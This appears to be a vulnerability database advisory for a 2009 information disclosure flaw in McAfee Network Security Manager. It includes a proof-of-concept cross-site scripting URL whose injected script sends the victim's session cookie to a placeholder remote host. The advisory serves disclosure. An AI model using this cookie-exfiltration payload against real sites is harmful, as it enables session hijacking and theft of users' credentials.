McAfee Network Security Manager <5.1.11.8.1 Information Disclosure Vulnerability

🗓️ 12 Nov 2009 00:00:00Reported by RootType

A vulnerability in McAfee Network Security Manager <5.1.11.8.1 allows attackers to perform information disclosure by enticing users to a malicious webpag


                                                To exploit this issue, an attacker must entice an unsuspecting user to view a malicious webpage.

The following proof of concept uses a cross-site scripting attack to leverage this issue:

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&amp;Login%2bID=&amp;node=&amp;iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57

12 Nov 2009 00:00Current

7.1High risk

Vulners AI Score7.1

McAfee Network Security Manager &lt;5.1.11.8.1 Information Disclosure Vulnerability

McAfee Network Security Manager <5.1.11.8.1 Information Disclosure Vulnerability